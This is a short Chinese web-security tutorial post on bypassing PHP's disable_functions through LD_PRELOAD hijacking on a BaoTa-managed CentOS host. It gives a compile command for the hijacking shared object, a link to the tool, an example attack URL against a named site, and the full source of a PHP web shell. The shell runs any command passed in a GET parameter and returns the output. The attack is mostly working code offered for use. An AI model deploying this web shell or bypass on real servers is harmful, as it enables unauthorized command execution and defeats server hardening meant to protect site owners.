php函数禁用提权,[原创]WEB安全第八章实战篇02 绕过Bypass disable_functions 提权

WEB安全第八章实战篇02 绕过Bypass disable_functions 提权

1.环境

宝塔linux主机

主机系统类型 centos php版本 5.4

2.禁用函数

禁用这些执行命令的函数，导致无法执行命令。

3.绕过方法

劫持函数 劫持共享对象 执行命令

cc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so -ldl

根据目标架构编译成不同版本

编译成x86要加上 -m32

下载地址

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

http://swww.apt999.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/www/wwwroot/www.apt999.com/bypass_disablefunc_x64.so

bypass_disablefunc.php

echo "

example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

";

$cmd = $_GET["cmd"];

$out_path = $_GET["outpath"];

$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";

echo "

cmdline: " . $evil_cmdline . "

";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];

putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "

output:
" . nl2br(file_get_contents($out_path)) . "

";

unlink($out_path);

?>

原创文章，作者：mOon，如若转载，请注明出处：https://www.moonsec.com/archives/612